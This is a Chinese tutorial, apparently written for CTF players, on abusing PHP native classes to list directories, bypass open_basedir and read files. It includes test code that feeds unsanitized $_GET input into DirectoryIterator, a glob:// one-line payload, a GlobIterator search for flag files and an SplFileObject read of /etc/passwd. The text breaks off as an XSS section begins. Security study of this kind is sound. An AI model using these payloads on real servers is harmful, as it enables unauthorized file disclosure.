一、目录遍历
可以直接绕过open_basedir,实现目录遍历
条件
简介
提供了一个简单的接口来查看文件系统目录的内容,此内置类的__toString方法可以获取字符串形式的文件名,再结合glob://或file://协议,即可实现目录遍历
利用
测试代码
<?php
highlight_file(__file__);
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
echo $a;
配合glob://协议,读取目录
注意
只能返回匹配到的第一个符号的文件名,并不是全部都返回
也可以通过迭代,可以遍历文件
<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo ($f->__toString().'<br>');
}
payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
条件
- PHP 5 >= 5.3.0,PHP 7,PHP 8
简介
FilesystemIterator类继承于DirectoryIterator类,所以两者作用和用法基本相同,区别在于FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名
条件
- PHP 5 >= 5.3.0,PHP 7,PHP 8
简介
由官方说明我们可以得知这个原生类是自带glob的,GlobIterator类的特点只需要知道部分名称可以进行遍历,内置的魔术方法是__toString。
利用
<?php
highlight_file(__file__);
$dir=new GlobIterator("/*flag*");
echo "<br>";
echo $dir;
二、文件读取
条件
- PHP 5 >= 5.1.2,PHP 7,PHP 8
简介
SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作,SplFileInfo::__toString将文件路径作为字符串返回
测试代码
<?php
highlight_file(__file__);
$a = new SplFileObject('/etc/passwd');
foreach($a as $f){
echo($f);
}
三、构造XSS
条件
简介
Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的,内置有一个__toString()方法,如果把Error类作为字符串使用的时候就会触发这个方法,例如:echo